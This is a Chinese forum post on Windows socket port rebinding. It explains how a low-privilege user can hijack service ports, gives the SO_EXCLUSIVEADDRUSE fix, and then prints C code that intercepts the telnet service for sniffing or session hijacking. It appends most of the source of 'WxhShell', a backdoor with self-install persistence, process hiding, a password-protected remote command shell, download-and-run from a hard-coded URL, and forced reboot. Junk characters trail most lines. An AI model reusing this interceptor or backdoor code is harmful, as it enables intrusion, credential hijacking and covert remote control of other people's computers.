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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 'F"Y?y:!  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); EQ63VF  
xTFrrmxOf  
  saddr.sin_family = AF_INET; tK}p05nPhl  
k+#l;<\2  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 5vX 8mPR_  
_<RR`  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); =Z .V+4+  
i(yAmo9h  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 L\wpS1L(  
5YI/Ec  
  这意味着什么?意味着可以进行如下的攻击: F0'A/T'ht  
9Jy2T/l  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ViwpyC'v  
@U3foL2\  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) k;_KKvQ  
EH*ym#Y  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 zB6u-4^wT  
~/jxB)t  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  v;]I^Kq  
BT#=Xh  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 4[,B;7  
}#HTO:r  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 +}1hU :qW  
AOlt,MNpQ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Z\=04[  
j H.Ju|nO  
  #include jXY;V3l  
  #include SAG` ^t  
  #include K+@eH#Cv,(  
  #include    PL9eUy  
  DWORD WINAPI ClientThread(LPVOID lpParam);   >[H&k8\7n  
  int main() n^pZXb;Y  
  { A?IZ( Zx(`  
  WORD wVersionRequested; B(\r+"PB  
  DWORD ret; H8-D'q>R  
  WSADATA wsaData; {#1j"  
  BOOL val; 2'<=H76  
  SOCKADDR_IN saddr; De nt?  
  SOCKADDR_IN scaddr; Awa|rIM  
  int err; |v$%V#Bo  
  SOCKET s; \YlF>{LVe  
  SOCKET sc; -M:hlwha  
  int caddsize; q]N?@l]  
  HANDLE mt; }>;ht5/i/  
  DWORD tid;   wHOlj)CZ  
  wVersionRequested = MAKEWORD( 2, 2 ); ~S^X"8(U  
  err = WSAStartup( wVersionRequested, &wsaData ); lQdnL.w$.4  
  if ( err != 0 ) { 6/mkJj+"  
  printf("error!WSAStartup failed!\n"); r!.+XrYg  
  return -1; i,'Ka[6   
  } O| 1f^_S/  
  saddr.sin_family = AF_INET; xdL/0 N3  
   50`iCD  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 EO].qN-8  
X$-b oe?  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); %]chL.s  
  saddr.sin_port = htons(23); 2fzKdkJhe  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %R5Com  
  { fys5-1@-p  
  printf("error!socket failed!\n"); X%a;i6pq  
  return -1; e|b~[|;*=  
  } `&u<aLA  
  val = TRUE; [Y22Wi  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 jB%"AvIX  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Ns.3s7&  
  { (}{_]X|e  
  printf("error!setsockopt failed!\n"); :vYt Mp  
  return -1; >,>;)B@J  
  } aJ6#=G61l  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; s-C!uq  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 cXk6e.Uz  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ha|@ X p  
C{UF~  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) S9HBr  
  { -}Cc"qm  
  ret=GetLastError(); &r'{(O8$N  
  printf("error!bind failed!\n"); I%}L@fZ  
  return -1; <AI>8j6#B  
  } t{R5 EU  
  listen(s,2); +X:J]- 1)  
  while(1) K,eqD<  
  { U#;51 _  
  caddsize = sizeof(scaddr); HQ^9 [HN.  
  //接受连接请求 a[1sA12  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); w0Fwd  
  if(sc!=INVALID_SOCKET) Yzj%{fkh  
  { ,8c dXt   
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); =5y`(0 I`U  
  if(mt==NULL) B*?ZE4`  
  { 9W1;Kb|Z<  
  printf("Thread Creat Failed!\n"); G;(onJz  
  break; y$IaXr5L  
  } (O8,zqP9l  
  } L!;^ #g  
  CloseHandle(mt); 6P;o 6s  
  } -6rf( ER  
  closesocket(s); 4 ,p#:!  
  WSACleanup(); eM?rc55|  
  return 0; t a&Q4v&-  
  }   8To7c  
  DWORD WINAPI ClientThread(LPVOID lpParam) &sm @  
  { owE<7TGPI?  
  SOCKET ss = (SOCKET)lpParam; 29"mE;j  
  SOCKET sc; EHpu*P~W  
  unsigned char buf[4096]; YXF#c)#  
  SOCKADDR_IN saddr; 44|deE3Z  
  long num; 2?GXkPF2;A  
  DWORD val; `nT?6gy  
  DWORD ret; $d'CBsu|<  
  //如果是隐藏端口应用的话,可以在此处加一些判断 {]&R8?%  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   JAc@S20v\  
  saddr.sin_family = AF_INET; .Qd}.EG  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 1^aykrnQ>  
  saddr.sin_port = htons(23); ;"1/#CY773  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )fNGB]%  
  { q}>M& *  
  printf("error!socket failed!\n"); 3YR* ^  
  return -1; 6#<Ir @z  
  } c}\ ' x5:o  
  val = 100; U? 8i'5)  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $"Afy)Ir  
  { fO*)LPen.z  
  ret = GetLastError(); VR "u*  
  return -1; hIR@^\?  
  } qh%i5Mu  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) oG!6}5  
  { "?$L'!bM@  
  ret = GetLastError(); A&N$tH  
  return -1; /sy-;JDnsu  
  } csYy7uzi  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) r+o_t2_b*  
  { X*0k>j  
  printf("error!socket connect failed!\n"); 4Mk8Cpz  
  closesocket(sc); Y|mW.  
  closesocket(ss); >f>V5L%1  
  return -1; &a.']!$^"  
  } M9gOoYf,~  
  while(1) +<&E3Or  
  { nt7|f,_J  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ;:P7}v fz!  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 >GgE,h  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 bn$)f6%  
  num = recv(ss,buf,4096,0); ,ohmc\*J  
  if(num>0) 9 +}cE**=d  
  send(sc,buf,num,0); ri:,q/-  
  else if(num==0) 19'5Re&  
  break; veV_be{i  
  num = recv(sc,buf,4096,0); NN^QUB  
  if(num>0) "c6<zP  
  send(ss,buf,num,0); bV_j`:MD  
  else if(num==0) i&JpM] N  
  break; +vf:z?I8  
  } YUCC*t  
  closesocket(ss); JRq3>P  
  closesocket(sc); >zQNHSi  
  return 0 ; Uls+n@\!  
  } Y.7}  
MZ WmlJ   
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========================================================== l_6eI  
8yn4}`Nc@  
下边附上一个代码,,WXhSHELL 0 <g{ V  
)Bo]=ZTJ^  
========================================================== gSb,s [p&+  
)T9~8p.  
#include "stdafx.h" NddO*`8+)  
^}J<)}Q  
#include <stdio.h> sZKEUSFD #  
#include <string.h> RB [/q:  
#include <windows.h> [_V:)  
#include <winsock2.h> syR N4  
#include <winsvc.h> iA9 E^  
#include <urlmon.h> nWk e#{[  
~T% Ui#Gc  
#pragma comment (lib, "Ws2_32.lib") H;QA@tF>5  
#pragma comment (lib, "urlmon.lib") Pubv$u2  
q(gjT^aN  
#define MAX_USER   100 // 最大客户端连接数 ;,k=<]  
#define BUF_SOCK   200 // sock buffer dq(E&`SzK  
#define KEY_BUFF   255 // 输入 buffer UU[H@ym#  
?pqU3-knH  
#define REBOOT     0   // 重启 cAb>2]M5V  
#define SHUTDOWN   1   // 关机 w//omF'`  
yPoSJzC=[  
#define DEF_PORT   5000 // 监听端口 gGEIK0\{  
eeW`JG-E  
#define REG_LEN     16   // 注册表键长度 uaaf9SL?  
#define SVC_LEN     80   // NT服务名长度 Yk'm?p#~  
ywO mQcZ  
// 从dll定义API QjJfE<h  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Z5$fE7ba+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {rDq_^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); JGis"e  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); s9i|mVtm8  
q*bt4,D&Es  
// wxhshell配置信息 tb,9a!?  
struct WSCFG { P\AqpQv  
  int ws_port;         // 监听端口 B$?^wo  
  char ws_passstr[REG_LEN]; // 口令 >'b=YlUL  
  int ws_autoins;       // 安装标记, 1=yes 0=no {jW%P="z$"  
  char ws_regname[REG_LEN]; // 注册表键名 i$C-)d]  
  char ws_svcname[REG_LEN]; // 服务名 lI6W$V\,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &n>7Ir  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  L=]p_2+  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 xzr<k Sp  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [pL*@9Sa&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" O%&cE*eX  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 L5f$TLw h;  
^s-25 6iI  
}; JhP\u3 QE  
h&`y$Jj  
// default Wxhshell configuration _~&9*D$ {>  
struct WSCFG wscfg={DEF_PORT, DZk1ZLz  
    "xuhuanlingzhe", lL0M^Nv  
    1, m(_9<bc>  
    "Wxhshell", Us=eq "eu  
    "Wxhshell", `eR 7H>I  
            "WxhShell Service", Om9jtWk  
    "Wrsky Windows CmdShell Service", _{)9b24(  
    "Please Input Your Password: ", s$ z2 c  
  1, N 9LgU)-Jt  
  "http://www.wrsky.com/wxhshell.exe", uokc :D  
  "Wxhshell.exe" 4x=(Zw_X  
    }; ~KPv7WfG  
4-^[%&>}  
// 消息定义模块 C?o6(p"b  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )+EN$*H  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |>+uw|LtZ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; E oe}l   
char *msg_ws_ext="\n\rExit."; u R:rO^  
char *msg_ws_end="\n\rQuit."; ! %Ny0JkO  
char *msg_ws_boot="\n\rReboot..."; ?aWx(dVQ  
char *msg_ws_poff="\n\rShutdown..."; 0` 5e  
char *msg_ws_down="\n\rSave to "; $FX,zC<=  
g`[$Xi R  
char *msg_ws_err="\n\rErr!"; IPtvuEju\  
char *msg_ws_ok="\n\rOK!"; >{nH v)  
T$P-<s  
char ExeFile[MAX_PATH]; (>7>3  
int nUser = 0; >bIF>9T  
HANDLE handles[MAX_USER]; :FHA]oec1  
int OsIsNt; Ej"u1F14J  
!YE zFU`L  
SERVICE_STATUS       serviceStatus; # yN*',I&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !%[S49s  
].mqxf  
// 函数声明 o35fifM`  
int Install(void); 6Hf,6>  
int Uninstall(void); [Y/:@t"2y  
int DownloadFile(char *sURL, SOCKET wsh); zk}{ dG^M:  
int Boot(int flag); L;/n!k.A  
void HideProc(void); K0Tg|9  
int GetOsVer(void); x?sI;kUw8  
int Wxhshell(SOCKET wsl); ,H[SI0];  
void TalkWithClient(void *cs); J=H)JH3  
int CmdShell(SOCKET sock); GLUUY0  
int StartFromService(void); (MLhaux-  
int StartWxhshell(LPSTR lpCmdLine); +@:L|uFU  
OfZN|S+~W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -6C +LbV  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); r,NgG!zq<  
6N" l{!  
// 数据结构和表定义 ~x]9SXD%  
SERVICE_TABLE_ENTRY DispatchTable[] = DQ80B)<O  
{ N+g@8Q2s;5  
{wscfg.ws_svcname, NTServiceMain}, goZ V.,w  
{NULL, NULL} <Ef[c@3  
}; h-QLV[^  
:Li/=>R^  
// 自我安装 {vVTv SC  
int Install(void) r:g9Z_  
{ +ts0^;QO2{  
  char svExeFile[MAX_PATH]; D/ Dt   
  HKEY key; Vw~\H Gs/~  
  strcpy(svExeFile,ExeFile); @PSLs *  
w/m:{cHk  
// 如果是win9x系统,修改注册表设为自启动 l,`!rF_  
if(!OsIsNt) { 5kMWW*Xtf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { | C+o;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VR0=SE  
  RegCloseKey(key); 1cC1*c0Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c0rk<V%5+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r{K;|'d%h  
  RegCloseKey(key); (f#b7O-Wn  
  return 0; =RsXI&&vh  
    } g0R[xOS|  
  } `u_Qa  
} i.y)mcB4  
else { l=={pb  
+%0z`E\?M#  
// 如果是NT以上系统,安装为系统服务 bS!\#f%9"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); K5 KyG  
if (schSCManager!=0) ,6"l(]0  
{ 8e2?tmWM  
  SC_HANDLE schService = CreateService *hY2.t; X  
  ( L%\b'fs  
  schSCManager, 2A:,;~UH  
  wscfg.ws_svcname, wCKj7y[  
  wscfg.ws_svcdisp, uGVy6,  
  SERVICE_ALL_ACCESS, Da1aI]{I  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , I'!/[\_  
  SERVICE_AUTO_START, MaY682}|y  
  SERVICE_ERROR_NORMAL, v"O5u%P  
  svExeFile, e2)autBe  
  NULL, mUP.rb6  
  NULL, `V!>J 1x  
  NULL, s8mr''  
  NULL, 0L-!! c3  
  NULL 5iX! lAFJ  
  ); cP>o+-)  
  if (schService!=0) m$2<`C=  
  { q1{H~VSn"  
  CloseServiceHandle(schService); ^{yk[tHpS  
  CloseServiceHandle(schSCManager); {2KFD\i\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %D=]ZV](  
  strcat(svExeFile,wscfg.ws_svcname); Dr#c)P~Wd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8Ogv9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); F -gE<<  
  RegCloseKey(key); =;L*<I  
  return 0; uGP(R=H  
    } _aS;!6b8W  
  } n.}T1q|l  
  CloseServiceHandle(schSCManager); x3G:(YfO  
} +[-i%b3q  
} ROb\Rx m  
19U]2D/z  
return 1; !{%:qQiA  
} _}6q{}jn:c  
nv/[I,nw  
// 自我卸载 7/Il L  
int Uninstall(void) t ?eH'*>  
{ @%ECj)u`O  
  HKEY key; f'Mop= .  
,_ 2x{0w:>  
if(!OsIsNt) { N_gD>6I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Bi%x`4Lf  
  RegDeleteValue(key,wscfg.ws_regname); 1NLg _UBOK  
  RegCloseKey(key); `ldz`yu6++  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Me3dpF  
  RegDeleteValue(key,wscfg.ws_regname); 2DDsWJ;  
  RegCloseKey(key); \?fIt?  
  return 0; o>]`ac0b}Y  
  } dY!Z  
} V-yUJ#f8[  
} tT%/r,  
else { Ri7((x]H"  
r%]Qlt ~K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :l\V'=%9'@  
if (schSCManager!=0) :l u5Uu~  
{ O6s.<` \  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); iJh!KEy~A5  
  if (schService!=0) @mQ:7-,~  
  { P ,mN >  
  if(DeleteService(schService)!=0) { Gu0 ,)jy\  
  CloseServiceHandle(schService); # TkR  
  CloseServiceHandle(schSCManager); 3R$Z[D-  
  return 0; 'Prxocxq  
  } Ri*3ySyb  
  CloseServiceHandle(schService); 2[yBD-":  
  } N:5[,O<m_  
  CloseServiceHandle(schSCManager); |UUdz_i!:  
} P5 <vf  
} w}cY6O,1  
dl]#  
return 1; ki]ti={12  
} k ]a*&me  
[\z/Lbn ,.  
// 从指定url下载文件 fPa9ofU/kr  
int DownloadFile(char *sURL, SOCKET wsh) ?}QH=&=^  
{ [1G^/K"  
  HRESULT hr; >!6JKL~=  
char seps[]= "/"; NZLAk~R;0  
char *token; BRRj$)u  
char *file; |UnUG  
char myURL[MAX_PATH]; | bv,2uWz  
char myFILE[MAX_PATH]; bCv{1]RC2  
E2wz(,@  
strcpy(myURL,sURL); "y?\Dx   
  token=strtok(myURL,seps); W&Y"K)`  
  while(token!=NULL) VyLH"cCv  
  { eDKxn8+(H  
    file=token; / +K?  
  token=strtok(NULL,seps); G@ \Pi#1  
  } Rqip kx  
tfO#vw,@  
GetCurrentDirectory(MAX_PATH,myFILE); YPDf Y<?v  
strcat(myFILE, "\\"); v6(E3)J7  
strcat(myFILE, file); 256LHY|6  
  send(wsh,myFILE,strlen(myFILE),0); y2L#:[8  
send(wsh,"...",3,0); uq3{h B#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); F"+o@9]  
  if(hr==S_OK) m` AK~O2  
return 0; D=f7NVc>Q  
else : esg(  
return 1; z,SYw &S  
Y$>-%KcKeI  
} bzpFbfb  
m!n/U-^  
// 系统电源模块 W~n.Xeu{C  
int Boot(int flag) )$GIN/i  
{ 5N$E()m$  
  HANDLE hToken; c7uG9  
  TOKEN_PRIVILEGES tkp; ~"x5U{K48S  
"8)z=n  
  if(OsIsNt) { jyS=!ydn+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); fK}h"iH+K  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -Yi,_#3{  
    tkp.PrivilegeCount = 1; KxGX\   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {2d_"lHBt  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $RX'(/  
if(flag==REBOOT) { &n2e  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]$-cMX  
  return 0; (46 {r}_O  
} Q[n\R@  
else { =JLh?Wx  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) x+5k <Xi}  
  return 0; SUCU P<G  
} 9Ru;`  
  } uLeRZSC  
  else { }Rvm &?~O  
if(flag==REBOOT) { sfT+i;p  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,:n| ?7  
  return 0; yY{kG2b,  
} +>^7vq-\'  
else { ]w).8=I  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <z+:j!~  
  return 0;  %V G/  
} b]Kk2S/  
} q(o/yx{bm  
5FKBv e@  
return 1; 'vV$]/wBF  
} jF ^5}5U  
zR6siAV9  
// win9x进程隐藏模块 qZk'tRv  
void HideProc(void) hi2sec|;<  
{ fG LG$b  
@~ Dh'w2q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); D0G-5}s`  
  if ( hKernel != NULL ) eitu!=u  
  { CBT>"sYE1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |f( ~@Q:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Lm*VN~2  
    FreeLibrary(hKernel); CJknJn3m&  
  } 0BPMmk  
IakKi4(  
return; 8^^[XbH  
} /c# `5L[  
!eR3@%4  
// 获取操作系统版本 S0/usC[r  
int GetOsVer(void) yTM3^R(  
{ 'm=*u SJK  
  OSVERSIONINFO winfo; 8OhDjWVJ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7k%T<;V  
  GetVersionEx(&winfo); 5A Bhj*7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [dX`K`k  
  return 1; z2c5m  
  else M(q'%XL^  
  return 0; 4EP<tV  
}  l]!9$  
'(+<UpG_Q}  
// 客户端句柄模块 8y';\(;  
int Wxhshell(SOCKET wsl) v`[Eb27W.  
{ 's x\P[a  
  SOCKET wsh; qOV[TP,  
  struct sockaddr_in client; CG]Sj*SA~  
  DWORD myID; T$4P_*  
 4-Z()F  
  while(nUser<MAX_USER) ;$j7H&UNQj  
{ #C*8X+._y  
  int nSize=sizeof(client); !LM<:kf.|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .0HZNWRtb  
  if(wsh==INVALID_SOCKET) return 1; {04"LAE  
ygZ  #y L  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Z{NC9  
if(handles[nUser]==0) VObrlOkp  
  closesocket(wsh); neF]=uCWnT  
else I8Vb-YeS  
  nUser++; <3X7T6_:@  
  } )U<Y0bZA!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )u ?' ;  
oS,I~}\kQ  
  return 0; NVV}6TUV  
} AN:@fZ  
Pi2|  
// 关闭 socket ;!@EixN-YH  
void CloseIt(SOCKET wsh) ?/*~;fM  
{ -C7]qbT }  
closesocket(wsh); zW |=2oX2  
nUser--; >k7q g$  
ExitThread(0); I,6/21kO  
} p4u5mM  
"I- w  
// 客户端请求句柄 ,38Eq`5&W  
void TalkWithClient(void *cs) Tsb{25`+  
{ 'fwU]Hm  
&sVvWNO#2  
  SOCKET wsh=(SOCKET)cs; {Z;t ^:s#  
  char pwd[SVC_LEN];  @gGRm  
  char cmd[KEY_BUFF]; 2 -!L _W(  
char chr[1]; ]1-z! B4K  
int i,j; .4.pJbOg  
0"k |H&  
  while (nUser < MAX_USER) { 3B0lb "e  
[t]X/O3<  
if(wscfg.ws_passstr) { f2)XP$:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); he3SR @\T  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rd|uz4d  
  //ZeroMemory(pwd,KEY_BUFF); y? (2U6c  
      i=0; {1 J&xoV"  
  while(i<SVC_LEN) { a)-FG P^  
w>?Un,K  
  // 设置超时 _cDF{E+;  
  fd_set FdRead; _+f+`]iM  
  struct timeval TimeOut; D]! aT+  
  FD_ZERO(&FdRead); 6"j_iB  
  FD_SET(wsh,&FdRead); {.e=qQ%P5)  
  TimeOut.tv_sec=8; :q##fG 'm/  
  TimeOut.tv_usec=0; iP~,n8W  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =/Aj  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %T`U^ Pnr  
=wu*D5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5m$2Ku  
  pwd=chr[0]; i@"e,7mSG  
  if(chr[0]==0xd || chr[0]==0xa) { <pLT'Y=  
  pwd=0; gW(gJ; L,%  
  break; |Yi)"-  
  } #:fQ.WWO  
  i++; n7LfQWc  
    } DR9: _  
Si}HX!s  
  // 如果是非法用户,关闭 socket G)=HB7u[a  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); I{0 k  
} n;XWMY  
[(LV  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); p 5u_1U0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BF|(!8S$U  
m8]?hJY 3l  
while(1) { {-zMHVw=}  
6&v? )o  
  ZeroMemory(cmd,KEY_BUFF); }`_@'4:t  
0O!cN_l|  
      // 自动支持客户端 telnet标准   iyx>q!P  
  j=0; w&&2H8  
  while(j<KEY_BUFF) { '$|UwT`s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8Q`WB0E<|  
  cmd[j]=chr[0]; [jx0-3s:X  
  if(chr[0]==0xa || chr[0]==0xd) { XdgUqQb}  
  cmd[j]=0; Hq&"+1F  
  break; \~rlgxd  
  } "+"{+k5t  
  j++; PnT)LqEF  
    } &FdWFt=X  
gA#RM5x@  
  // 下载文件 dBC bL.!  
  if(strstr(cmd,"http://")) { |BMV.Zi  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @# P0M--X  
  if(DownloadFile(cmd,wsh)) vP!GJX &n5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); mumXUX  
  else ]pA(K?Lbg  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); : DG)g3#  
  } *2 "6fX[  
  else { rk2xKm^w  
}|)R   
    switch(cmd[0]) { 2 mjV~  
  AS!6XT  
  // 帮助 5,"l0nrk  
  case '?': { wVs.Vcwr  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %rQuBi# 1f  
    break; `\>.h  
  } +y+"Fyl  
  // 安装 z~6y+  
  case 'i': { z1OFcqm  
    if(Install()) EfLO5$?rm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); td2/9|Q  
    else w-B^ [<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R  
    break; u?ek|%Ok  
    } I&c ~8Dw  
  // 卸载 )-rW&"{U  
  case 'r': { #4LFG\s  
    if(Uninstall()) ~Z/ ^c,[:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }Y(]6$uS  
    else q=HHNjj8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +H/jK@  
    break; 7"X>?@  
    }  n]W_e  
  // 显示 wxhshell 所在路径 F7m?xy  
  case 'p': { ge3sU5iZ  
    char svExeFile[MAX_PATH]; 89}Y5#W  
    strcpy(svExeFile,"\n\r"); ',7??Q7j&v  
      strcat(svExeFile,ExeFile); ?VU(Pq*`  
        send(wsh,svExeFile,strlen(svExeFile),0); oj,lz?  
    break; FX <b:#  
    } }!#gu3  
  // 重启 W" "*ASi  
  case 'b': { <3PL@orO  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @\_x'!R  
    if(Boot(REBOOT)) ` >!n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {npcPp9  
    else { _#e&t"@GS  
    closesocket(wsh); v ]Sl<%ry  
    ExitThread(0); gJt`?8t  
    } *="8?Z  
    break; jdeV|H} u  
    } }G46g#_6d>  
  // 关机 Q "r_!f  
  case 'd': { c47")2/yO  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); TZir>5  
